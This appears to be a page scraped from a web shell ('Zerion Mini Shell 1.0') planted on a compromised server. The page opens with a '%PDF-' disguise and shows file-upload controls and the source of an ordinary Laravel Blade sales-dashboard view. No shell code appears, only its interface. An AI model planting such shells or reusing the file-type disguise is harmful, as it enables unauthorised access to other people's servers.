%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/dsr_code/resources/views/global/compare/
Upload File :
Create Path :
Current File : //home/silvzytp/dsr_code/resources/views/global/compare/compare.blade.php

@extends('layouts.backend')
@section('title', $siteTitle)

@push('styles')

@endpush

@section('content')

<div class="row">
    @foreach ($targets as $target_data)
        <div class="col-md-6">
            <div class="ibox">
                <div class="ibox-head">
                    <div class="ibox-title">Manager: {{ $target_data->name }}</div>
                </div>
                <div class="ibox-body">
                    <div>
                        <canvas id="doughnut_chart-{{ $target_data->id }}"  class="compare-manager-data" style="height:200px;"></canvas>
                    </div>
                </div>
            </div>
        </div>
    @endforeach
</div>

@endsection

@push('scripts')
<script src="{{ asset('/') }}assets/js/Chart.min.js" type="text/javascript"></script>
<script>
    @foreach ($targets as $target_data)
        @php
            $monthlyData = App\Models\MonthlyData::toBase()->where('user_id',$target_data->id)->get();

            $revenueAchievment = $monthlyData->sum('revenue_achievment');

            $saleAchieved = App\Models\MonthlyData::toBase()->where('user_id',$target_data->id)
                    ->sum('sale_achievment');

            $saleTarget = $target_data->individualTargets->sum('s_target');

            $revenueDeficit = ($target_data->target - $revenueAchievment);
            $saleDeficit = ($saleTarget - $saleAchieved);
        @endphp

        var target = {
            's_target':"{{ $saleTarget }}",
            's_achived':"{{ $saleAchieved }}",
            's_deifict':"{{ $saleDeficit }}",
            'a_target':"{{ $target_data->target }}",
            'a_achived':"{{ $revenueAchievment }}",
            'a_deifict':"{{ $revenueDeficit }}",
            'attendance':"{{ $monthlyData->sum('meeting_attendance') }}",
        };

        var doughnutData = {
            labels: ['Sale Target','Sale Achieved', 'Sale Deifict','Revenue Target','Revenue Achieved', 'Revenue Deifict', 'Meeting Attendance'],
            datasets: [{
                data: [target.s_target,target.s_achived,target.s_deifict,target.a_target,target.a_achived,target.a_deifict,target.attendance],
                backgroundColor: ["rgb(255, 99, 132)","rgb(54, 162, 235)","rgb(255, 205, 86)","rgb(18, 203, 196)","rgb(181, 52, 113)","rgb(0, 148, 50)","rgb(54, 162, 235)"]
            }]
        };

        var doughnutOptions = {
            responsive: true
        };
        var ctx4 = document.getElementById("doughnut_chart-{{ $target_data->id }}").getContext("2d");
        new Chart(ctx4, {type: 'doughnut', data: doughnutData, options:doughnutOptions});
    @endforeach
</script>
@endpush

Zerion Mini Shell 1.0